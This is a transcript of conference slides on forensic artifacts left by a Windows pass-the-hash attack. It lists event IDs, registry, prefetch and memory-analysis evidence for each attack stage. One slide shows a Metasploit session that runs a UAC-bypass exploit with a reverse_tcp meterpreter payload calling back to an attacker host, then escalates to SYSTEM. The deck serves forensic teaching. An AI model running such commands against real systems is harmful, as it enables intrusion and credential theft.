Forensic Artifacts From A Pass The Hash (PtH) Attack

Slides:



Advertisements
Similar presentations
and Mitigations Brady Bloxham
Advertisements

©2006 Microsoft Corporation. All rights reserved. Windows Vista Security Tidbits Steve Riley Senior Security Strategist Microsoft Corporation
Learning to Live with an Advanced Persistent Threat
1 Preparing Windows 2000 installation (Week 3, Wednesday 2/25/2006) © Abdou Illia, Spring 2006.
Module 6: Configuring Windows XP Professional to Operate in a Microsoft Network.
The Cain Tool Presented by: Sagar Chivate CS 685F.
Lesson 17: Configuring Security Policies
A Complete Tool For System Penetration Testing Presented By:- Mahesh Kumar Sharma B.Tech IV Year Computer Science Roll No. :- CS09047.
Memory Forensics During Incident Response
11 SUPPORTING LOCAL USERS AND GROUPS Chapter 3. Chapter 3: Supporting Local Users and Groups2 SUPPORTING LOCAL USERS AND GROUPS  Explain the difference.
Information Networking Security and Assurance Lab National Chung Cheng University F.I.R.E. Forensics & Incident Response Environment.
Chapter 8 Chapter 8: Managing the Server Through Accounts and Groups.
2004, Jei F.I.R.E. Forensics & Incident Response Environment Information Networking Security and Assurance Lab National Chung Cheng University.
Microsoft Server 2008 R2 Group Policies & Network Policy and Access Services.
Exposing the Secrets of Windows Credential Provider Presented By: Subrat Sarkar Give me your password.
Nothing is Safe 1. Overview  Why Passwords?  Current Events  Password Security & Cracking  Tools  Demonstrations Linux GPU Windows  Conclusions.
Network and Active Directory Performance Monitoring and Troubleshooting NETW4008 Lecture 8.
Hacking Windows 2K, XP. Windows 2K, XP Review: NetBIOS name resolution. SMB - Shared Message Block - uses TCP port 139, and NBT - NetBIOS over TCP/IP.
Windows Security Mechanisms Al Bento - University of Baltimore.
MS systems use one of the following: LanManager Hash (LM) LanManager Hash (LM) NT LanManager (NTLM) NT LanManager (NTLM) Cached passwords Cached passwords.
70-270: MCSE Guide to Microsoft Windows XP Professional Chapter 5: Users, Groups, Profiles, and Policies.
WARNING! Sample chapter -Materials in this sample chapter is selected advanced penetration from
Mastering Windows Network Forensics and Investigation Chapter 9: Registry Evidence.
Chapter 4 Windows NT/2000 Overview. NT Concepts  Domains –A group of one or more NT machines that share an authentication database (SAM) –Single sign-on.
Windows This presentation is an amalgam of presentations by Mark Michael, Randy Marchany and Ed Skoudis. I have edited and added material. Dr. Stephen.
Chapter-4 Windows 2000 Professional Win2K Professional provides a very usable interface and was designed for use in the desktop PC. Microsoft server system.
70-294: MCSE Guide to Microsoft Windows Server 2003 Active Directory Chapter 9: Active Directory Authentication and Security.
Hands-On Ethical Hacking and Network Defense
CN1260 Client Operating System Kemtis Kunanuraksapong MSIS with Distinction MCT, MCITP, MCTS, MCDST, MCP, A+
Enforcing Concurrent Logon Policies with UserLock.
User Manager for Domains.  Manages the user accounts in a domain  It is located in the PDC  While User Manager exists in each NT machine, but it is.
Chapter Six Windows XP Security and Access Controls.
Module 10: Configuring Windows XP Professional to Operate in Microsoft Networks.
CIS 450 – Network Security Chapter 8 – Password Security.
Module 7: Fundamentals of Administering Windows Server 2008.
Windows Security. Security Windows 2000/XP Professional security oriented Authentication Authorization Internet Connection Firewall.
Chapter 13 Users, Groups Profiles and Policies. Learning Objectives Understand Windows XP Professional user accounts Understand the different types of.
Designing Authentication for a Microsoft Windows 2000 Network Designing Authentication in a Microsoft Windows 2000 Network Designing Kerberos Authentication.
Monnappa KA  Info Security Cisco  Member of SecurityXploded  Reverse Engineering, Malware Analysis, Memory Forensics 
Breno de MedeirosFlorida State University Fall 2005 Windows servers The NT security model.
© Wiley Inc All Rights Reserved. MCSE: Windows Server 2003 Active Directory Planning, Implementation, and Maintenance Study Guide, Second Edition.
70-270: MCSE Guide to Microsoft Windows XP Professional 1 Windows XP Professional User Accounts Designed for use as a network client for: Windows NT Windows.
Mastering Windows Network Forensics and Investigation Chapter 13: Logon and Account Logon Events.
Computer Forensics Infosec Pro Guide Ch 6 Testing Your Tools.
Module 4 : Installation Jong S. Bok
System Hacking Active System Intrusion. Aspects of System Hacking System password guessing Password cracking Key loggers Eavesdropping Sniffers Man in.
Network Security. Need for security  Connecting to the Internet is quickly becoming a necessity for companies/ individuals  Understand the security.
Planning a Microsoft Windows 2000 Administrative Structure Designing default administrative group membership Designing custom administrative groups local.
Introduction to Information Security Network Traversal nirkrako at post.tau.ac.il itamargi at post.tau.ac.il.
NT4 SP4 Security Jack Schmidt - Fermilab
CHAPTER Creating and Managing Users and Groups. Chapter Objectives Explain the use of Local Users and Groups Tool in the Systems Tools Option to create.
Security Windows 2000 Richard Goldman © December 4, 2001.
Working with Users and Groups Lesson 5. Skills Matrix Technology SkillObjective DomainObjective # Introducing User Account Control Configure and troubleshoot.
Chapter 4 Hacking Windows Part 2. Authenticated Attacks Privilege Escalation Pilfering –Grabbing the Password Hashes –Cracking Passwords –LSADump –Previous.
ITS – Identity Services ONEForest Security Jake DeSantis Keith Brautigam
CNIT 124: Advanced Ethical Hacking Ch 13: Post Exploitation Part 2.
Working with Users and Groups Lesson 5. Skills Matrix Technology SkillObjective DomainObjective # Introducing User Account Control Configure and troubleshoot.
Active Directory. Computers in organizations Computers are linked together for communication and sharing of resources There is always a need to administer.
Introduction to Microsoft Windows 2000 Security Microsoft Windows 2000 Security Services Overview Security subsystem components Local security authority.
PostExploitation CIS 5930/4930 Offensive Computer Security Spring 2014.
Samba
Hacking Windows.
Darren Mar-Elia Head of Product
Unit 8 NT1330 Client-Server Networking II Date: 8/2/2016
CHFI & Digital Forensics [Part.1] - Basics & FTK Imager
Lesson 16-Windows NT Security Issues
Florida State University
Cyber Operation and Penetration Testing Online Password Cracking Cliff Zou University of Central Florida.
Pass-the-Hash.
Presentation transcript:

Forensic Artifacts From A Pass The Hash (PtH) Attack By: GeRard Laygui

DISCLAIMER: The views and opinions expressed in this presentation are those of the author’s and does not necessarily represent the official policy or position of the company that the author works for.

What is a hash? A hash function is any function that can be used to map digital data of arbitrary size to digital data of fixed size. In the case of Windows, a password is stored in either a LanMan (LM) hash or NT LAN Manager (NTLM) hash format.

Where are hashes stored? The Security Accounts Manager (SAM) database. Local Security Authority Subsystem (LSASS) process memory. Domain Active Directory Database (domain controllers only). The Credential Manager (CredMan) store. LSA Secrets in the registry.

Hash Examples Plaintext = password LM Hash E52CAC67419A9A224A3B108F3FA6CB6D NTLM Hash 8846F7EAEE8FB117AD06BDD830B7586C

Pass the Hash (PtH) “Pass the hash is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password, instead of requiring the associated plaintext password.” In this case, hash == password

Demo Environment - Logging Changes Audit logon events - Success & Failure Audit account management - Success & Failure Audit account logon events - Success & Failure Audit process tracking - Success & Failure Audit system events - Success & Failure Increase log file sizes Microsoft Audit Policy Recommendations - https://technet.microsoft.com/en-us/library/dn487457.aspx

Demo Domain ImaUser ImaDomainAdmin S-1-5-21domain-500 Client Windows 7 Member Server W2K8 R2 W2K12 Domain Controller Client 2 Member Server 2 Windows 2012 Native Mode Domain Name: OHNOES.INTERNAL

Pass The hash attack sequence Elevate Privilege Elevate Privilege Scrape Hashes Scrape Hashes Extract Active Directory Recon Recon Compromise Pass The Hash Pass The Hash Compromise initial system Leave backdoor if needed Elevate privilege from user to SYSTEM Scrape hashes from memory and disk Crack hashes offline in parallel with steps 5 and 6 Reconnaissance - Identify other systems to access with the stolen hashes. Lateral movement - access target systems using stolen hashes Repeat steps 2-6 till we get a Domain Admin account and dump the hashes from the domain controller Leave Backdoor (Optional) Crack Hashes (Optional)

Demo Pass The hash Backdoor enabled

Forensic Evidence Volatile Non-Volatile At Least - Network (pcap, routes, netstat), Process List Best - RAM Memory Captures, hiberfil.sys VMWare - Suspend VM, use vmem file Non-Volatile At Least - Event Logs, Registry, Systeminfo Best - Disk Images VMWare - Use VMDK

Analysis Tools - Volatile Dump Memory HBGary - FDPro Mandiant Memoryze Analyze Memory Volatility (Free) HBGary Responder Pro

Analysis Tools – Non-Volatile Creating Disk Images Linux dd Encase FTK Analyze Disk Images The Sleuth Kit / Autopsy Log2Timeline

Compromise Windows Security Event Log (Process Audit Success) Security Event ID 4688 Process Creation

Compromise Prefetch – Disk Artifact (Note: No artifacts if using a SSD or if using Windows Server OS) Time stamps reveal when a program was launched

Compromise Shim Cache Registry – regripper Memory – volatility (shimcache switch)

Compromise Memory - Volatility Malfind command

Backdoor Windows Security Event Log - Persistence Security Event ID 4720 - User account created Security Event ID 4732 - User added to groups

backdoor Registry (Regripper) Run Keys Service Install Date HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Service Install Date

Privilege escalation In order to scrape hashes, the attacker needs to change security context from user to Local System (SID S-1-5-18)

Privilege escalation Using Kali after I’ve already compromised the system using a Java exploit. meterpreter > run post/windows/gather/win_privs meterpreter > background msf exploit(java_signed_applet) > use exploit/windows/local/bypassuac msf exploit(bypassuac) > set SESSION 1 SESSION => 1 msf exploit(bypassuac) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(bypassuac) > set LHOST 10.1.1.251 LHOST => 10.1.1.251 msf exploit(bypassuac) > set LPORT 8088 LPORT => 8088 msf exploit(bypassuac) > exploit meterpreter > getuid Server username: OHNOES\ImaUser meterpreter > getsystem ...got system (via technique 1). Server username: NT AUTHORITY\SYSTEM

Privilege escalation

Scraping Hashes Service Install  Process Start

Scraping Hashes Service Install  Process Start

Scraping Hashes Volatility – consoles command

Cracking NT hashes John The Ripper OCLHashCat (GPU) Ubuntu 14.04 - 8x AMD R9 290X can do 183528 Mh/s against NTLM, that is 183,528,000,000 tries per second*. Roughly 9 hours to crack an 8 character password

Recon Volatility – consoles or cmdscan

Recon – Apt Style

Lateral movement Event ID 4624 – Logon / Event ID 4634 - Logoff Type 2 – Interactive Type 3 - Network Logon Type 10 – Remote Interactive (RDP)

Lateral movement RDP Pivot Microsoft-Windows-TerminalServices-LocalSessionManager-Operational Event ID 21 (RDP Logon) Microsoft-Windows-TerminalServices-LocalSessionManager-Operational Event ID 25 (RDP Reconnect)

Lateral movement RDP Pivot Continued Default.rdp disk artifact BMC Cache (bcache22.bmc)

Questions? This slide deck and related links for the videos will be eventually posted on: Cybersecology.com/DEFCON2015 Big thanks to Mike Landeck for allowing me to use his site!